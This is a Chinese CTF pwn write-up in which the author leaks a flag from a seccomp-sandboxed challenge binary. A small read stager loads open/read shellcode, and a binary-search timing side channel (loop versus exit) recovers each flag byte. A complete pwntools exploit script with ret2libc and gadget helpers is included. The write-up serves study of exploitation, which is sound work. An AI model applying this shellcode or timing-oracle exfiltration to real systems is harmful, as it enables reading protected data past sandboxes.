【pwn】记一道shellcode侧信道攻击

前言

契机来源于K0nashi师傅给的一道题目,让我来写写shellcode,那当然是写啊!

分析

checksec之后发现保护全开,打开ida分析发现有沙箱,直接查看沙箱

可以使用read open,不能使用write,并且判断了A < 0x40000000。

再进入ida看看

先mmap一段可执行的chunk,然后可以写入0x18长度的shellcode,最后设立沙箱规则之后执行我们刚刚写入的shellcode。

那么一种新的思路就是侧信道攻击

简单来说就是我们先open flag,然后read flag到stack上,通过逐一对比stack上的字符来判断我们爆破的flag字符是否正确,正确就loop循环,不正确就直接exit。

这点类似于web题目中的布尔盲注,当然我们这里也用到了时间盲注,根据是否eof来判断是否正确。

做法

首先由于0x18的shellcode的限制,我们不可能在这里完成read和open,所以先在0x18的地方写入一段read的shellcode,让我们可以读如更多的shellcode

我们先动调一下,发现我们写入的第一段shellcode会写入0x10000这个mmap的起始地点,并且我们写入了0x18的长度的shellcode,rip最后会到0x10018的地方,所以我们让read写入的地址为0x10018就可以了

def setread():global io# rdi rsi rdx rcx# read(0,&0x10018,0x250)shellcode = '''push 0x250pop rdxxor rsi,rsimov rsi,0x10018xor rdi,rdixor rax,raxsyscall'''shellcode = asm(shellcode)rl()s(shellcode)sleep(0.3)

然后我们可以写入0x250长度的shellcode,我们先open flag,再读取flag,这点直接用shellcraft就可以做到

orw_payload = shellcraft.open('flag')
orw_payload += shellcraft.read(3,'rsp',0x100)

接下来就是重点了,我们需要写入一段shellcode来判断我们爆破的flag是否正确,这里要用到汇编中的jz或者使用二分法,ja来判断。

在这里强调一点,目前网上绝大部分的有关shellcode的爆破都是通过jz来判断是否相同,而wjh师傅使用了二分法的ja来缩小爆破时间和次数,我这里参考了wjh师傅的第五届 “蓝帽杯” Final PWN、RE Writeup,中的secretcode的exp写法。

这里是我写的比较方法(基于二分法)

orw_payload += f'''mov dl,byte ptr [rsp+{i}]mov cl,{mid}cmp dl,clja loopmov al,0x3csyscallloop:jmp loop'''

完整的pwn函数

def pwn():global ioflag = "flag{"count = 1for i in range (len(flag),0x20):left = 0right = 127while left < right:setread()mid = (left + right) >> 1orw_payload = shellcraft.open('flag')orw_payload += shellcraft.read(3,'rsp',0x100)orw_payload += f'''mov dl,byte ptr [rsp+{i}]mov cl,{mid}cmp dl,clja loopmov al,0x3csyscallloop:jmp loop'''orw_payload = asm(orw_payload)sl(orw_payload)start_time = time.time()try:io.recv(timeout=0.25)if time.time() - start_time > 0.1:left = mid + 1except:right = midio.close()clear()info(f"time-->{count}")info(flag)count += 1io = getprocess()flag += chr(left)info(flag)if flag[-1] == "}":break

我们的判断条件就是这个时间间隔是否大于了0.1,大于0.1可以证明进入了loop循环,那么我们的结果就是正确的,所以left = mid + 1缩小范围,直到left == right就是我们需要的flag正确字符

exp

#!/usr/bin/python3
# -*- coding: UTF-8 -*-
# -----------------------------------
# @File    :  exp.py
# @Author  :  woodwhale
# @Time    :  2021/10/15 13:49:57
# -----------------------------------from pwn import *
from LibcSearcher import *
import sys, subprocess, warnings, osfrom pwnlib.adb.adb import shelldef ret2libc(addr,func,binary=null):libc         = LibcSearcher(func,addr)               if binary == null else binarylibc.address = addr - libc.dump(func)                if binary == null else addr-libc.sym[func]system       = libc.address+libc.dump('system')      if binary == null else libc.sym['system']binsh        = libc.address+libc.dump('str_bin_sh')  if binary == null else next(libc.search(b'/bin/sh'))leak('libc_base',libc.address)leak('system',system)leak('binsh',binsh)return(system,binsh)def hack(pwn):global io,binary,libctimes = 0while True:try:times += 1clear()info(f'time --> {times}')pwn()except:io.close()io = getprocess()def init(binary):global arglen, elf, path , libc, context, ioarglen = len(sys.argv)warnings.filterwarnings('ignore')context.terminal = ['gnome-terminal','-x', 'bash','-c']elf = ELF(binary)path = libcpath(binary)libc = ELF(path)libc.path = pathcontext.arch = elfbit(binary)io = getprocess()s           =       lambda data                       : io.send(data)
sa          =       lambda rv,data                    : io.sendafter(rv,data)
sl          =       lambda data                       : io.sendline(data)
sla         =       lambda rv,data                    : io.sendlineafter(rv,data)
r           =       lambda num                        : io.recv(num)
rl          =       lambda keepends=True              : io.recvline(keepends)
ru          =       lambda data,drop=True,time=null   : io.recvuntil(data,drop) if time == null else io.recvuntil(data,drop,time)
ia          =       lambda                            : io.interactive()
l32         =       lambda                            : u32(ru(b'\xf7',False)[-4:].ljust(4,b'\x00'))
l64         =       lambda                            : u64(ru(b'\x7f',False)[-6:].ljust(8,b'\x00'))
uu32        =       lambda data                       : u32(data.ljust(4,b'\x00'))
uu64        =       lambda data                       : u64(data.ljust(8,b'\x00'))
i16         =       lambda data                       : int(data,16)
leak        =       lambda name,addr                  : log.success('\033[33m{}\033[0m = \033[31m{:#x}\033[0m'.format(name, addr))
info        =       lambda data                       : log.info(f'\033[36m{data}\033[0m')
pau         =       lambda                            : pause() if DEBUG else null
dbg         =       lambda point=null                 : (gdb.attach(io) if point == null else gdb.attach(io,f'b *{point}')) if DEBUG else null
og          =       lambda path=null                  : list(map(int,subprocess.check_output(['one_gadget','--raw','-f',libc.path]).decode().strip('\n').split(' '))) if path == null else list(map(int,subprocess.check_output(['one_gadget','--raw','-f',path]).decode().strip('\n').split(' ')))
rg          =       lambda binary,only,grep           : i16(subprocess.check_output([f"ROPgadget --binary {binary} --only '{only}' | grep {grep}"],shell=True).decode().split(' ')[0])
setlibc     =       lambda leak,func                  : leak - libc.sym[func]
elfbit      =       lambda binary                     : 'i386' if subprocess.check_output(['file',binary]).decode().split(' ')[2] == '32-bit' else 'amd64'
libcpath    =       lambda binary                     : subprocess.check_output(['ldd',binary]).decode().replace('  ', '').split('\n')[1].split(' ')[2] if GLIBC else subprocess.check_output(['ls | grep libc*.so'],shell=True).decode().strip('\n').split('\n')[0]
proce       =       lambda binary,libc=null           : process(binary) if GLIBC else process(binary,env={'LD_PRELOAD':'./'+libc})
getprocess  =       lambda                            : proce(binary,path) if arglen == 1 else (remote(sys.argv[1].split(':')[0],sys.argv[1].split(':')[1]) if arglen == 2 else remote(sys.argv[1],sys.argv[2]))
clear       =       lambda                            : os.system('clear')# context.log_level='debug'
DEBUG  = 1
GLIBC  = 1
binary = './chall'
init(binary)def setread():global io# rdi rsi rdx rcx# read(0,&0x10018,0x250)shellcode = '''push 0x250pop rdxxor rsi,rsimov rsi,0x10018xor rdi,rdixor rax,raxsyscall'''shellcode = asm(shellcode)rl()s(shellcode)sleep(0.3)def pwn():global ioflag = "flag{"count = 1for i in range (len(flag),0x20):left = 0right = 127while left < right:setread()mid = (left + right) >> 1orw_payload = shellcraft.open('flag')orw_payload += shellcraft.read(3,'rsp',0x100)orw_payload += f'''mov dl,byte ptr [rsp+{i}]mov cl,{mid}cmp dl,clja loopmov al,0x3csyscallloop:jmp loop'''orw_payload = asm(orw_payload)sl(orw_payload)start_time = time.time()try:io.recv(timeout=0.25)if time.time() - start_time > 0.1:left = mid + 1except:right = midio.close()clear()info(f"time-->{count}")info(flag)count += 1io = getprocess()flag += chr(left)info(flag)if flag[-1] == "}":breakpwn()
ia()

最终仅仅使用了半分钟爆破126次就get flag了

【pwn】记一道shellcode侧信道攻击相关推荐

  1. [密码学基础][每个信息安全博士生应该知道的52件事][Bristol52]43 为AES 对抗侧信道攻击的防御

    这是一系列博客文章中最新的一篇,该文章列举了"每个博士生在做密码学时应该知道的52件事":一系列问题的汇编是为了让博士生们在第一年结束时知道些什么. 为AES描述一些基础的(可能无 ...

  2. [密码学基础][每个信息安全博士生应该知道的52件事][Bristol Cryptography][第39篇]侧信道攻击和故障攻击有什么区别

    这是一系列博客文章中最新的一篇,该文章列举了"每个博士生在做密码学时应该知道的52件事":一系列问题的汇编是为了让博士生们在第一年结束时知道些什么. 侧信道攻击(Side-chan ...

  3. Intel CPU 易受新型的 SGAxe 和 CrossTalk 侧信道攻击

     聚焦源代码安全,网罗国内外最新资讯! 编译:奇安信代码卫士团队 网络安全研究员发现了两种针对当代 Intel 处理器的攻击,可泄露CPU 可新执行环境 (TEE) 中的敏感信息. 第一种攻击名为 & ...

  4. 【安全硬件】Chap.6 IC和半导体产业的全球化;芯片生产猜疑链与SoC设计流程;可能会存在的安全威胁: 硬件木马、IP盗版、逆向工程、侧信道攻击、伪造

    [安全硬件]Chap.6 IC和半导体产业的全球化:芯片生产猜疑链与SoC设计流程:可能会存在的安全威胁: 硬件木马.IP盗版.逆向工程.侧信道攻击.伪造 背景 1. IC和半导体产业的全球化 2. ...

  5. 基于Montgomery算法的高速、可配置 RSA密码IP核硬件设计系列(五)——模幂模块(抵抗侧信道攻击)模块的设计实现方案

    基于Montgomery算法的高速.可配置RSA密码IP核硬件设计系列(五) 2.2 模幂模块设计(抵抗测信道攻击模块) 2.2.1 模幂模块及内部模块的功能 2.2.3 模幂各模块的实现方案 2.2 ...

  6. CATalyst——针对末级缓存侧信道攻击的防御技术

    CATalyst: Defeating Last-Level Cache Side Channel Attacks inCloud Computing, HPCA'16 (A类), 2016年3月[1 ...

  7. 简单来看看什么是侧信道攻击

    前言 之前在看逻辑层面的安全,其中有个旁路攻击,书里面说这玩意就是防范侧信道攻击. 旁路攻击又被称为旁路信道攻击或侧信道攻击.这种硬件层面的攻击通常以从电子设备获取机密信息为目标.对于密码算法,加密是 ...

  8. 基于RF算法的侧信道攻击方法研究

    摘要 目前,随机森林(RF)算法在侧信道分析领域的潜力还没有得到充分利用.文章提出一种基于RF算法的侧信道攻击方法,分别从输入数据处理和参数控制两方面进行模型优化,在特征点选择和RF算法参数调优两方面 ...

  9. 漏洞挖掘——实验11 侧信道攻击+TCP/IP实验

    漏洞挖掘前言 题目 Lab 侧信道攻击 + TCP/IP实验 Pre 1.用IE访问某些网站的时候,输入javascript:alert(document.cookie)会有什么反应,解释原因. 2. ...

  10. 头歌-信息安全技术-Spectre侧信道攻击过程验证

    头歌-信息安全技术-Spectre侧信道攻击过程验证 一.第1关:Cache vs Memory 1.编程要求 2.评测代码 二.第2关:基于Flush+Reload的侧信道实现 1.编程要求 2.评 ...

最新文章

  1. 基于C++模板的线性代数库---Eigen
  2. 提高显微镜分辨率方法_超分辨显微镜研究获进展
  3. OpenSUSE 13.1 和 OpenSUSE 12.3 用户如何安装 Cinnamon 2.2 桌面
  4. swoole TCP UDP server
  5. poj3190 Stall Reservations(贪心+STL)
  6. atitit.atiOrmStoreService 框架的原理与设计 part1  概述与新特性
  7. ireport交叉报表 crosstab排序_质性数据分析软件NVivo教程:交叉表查询
  8. Netty框架中的@Skip使用说明
  9. 八种实用的免费游戏开发软件工具
  10. c语言蝴蝶图案代码,通达信指标公式,临界点蝴蝶图案出现,暴涨趋势出现(附源码)...
  11. 用计算机控制人造卫星属于,用计算机控制人造卫星属于 为什么人造卫星在高层大气...
  12. ajax帝国cms自动加载分页,帝国CMS7.0版ajax无刷新添加评论插件
  13. 人事代理行业 薪酬福利外包市场:老树发新芽,数字 化转型提质增效
  14. Photoshop 套索工具抠图
  15. 出国读计算机专业好吗,计算机美国读研 - 美国留学读计算机专业好不好
  16. linux桌面分辨率太高,将Ubuntu调整到高DPI分辨率屏幕
  17. vant移动端上传附件
  18. Tkinter 如何禁用最大化
  19. 千篇一律:“外挂”泛滥的网游公关写作
  20. OpenSIPS-NAT穿越,SIP注册,INVITE及RTPProxy配置

热门文章

  1. matlab拟合二元方程,MATLAB拟合方程1
  2. Bluetooth LE for iOS demo. LightBlue like demo.
  3. 基于PHP语言的汉语转拼音的类
  4. QT6.1.2下载和安装教程
  5. Android常用代码集
  6. 同样是断言,为何 Hamcrest 如此优秀?
  7. 软件测试管理者会遇到那些问题?
  8. 海康Ehome协议java开发
  9. 莫烦python视频顺序_莫烦Python视频笔记
  10. 7 个有趣的 Python 实战项目,超级适合练手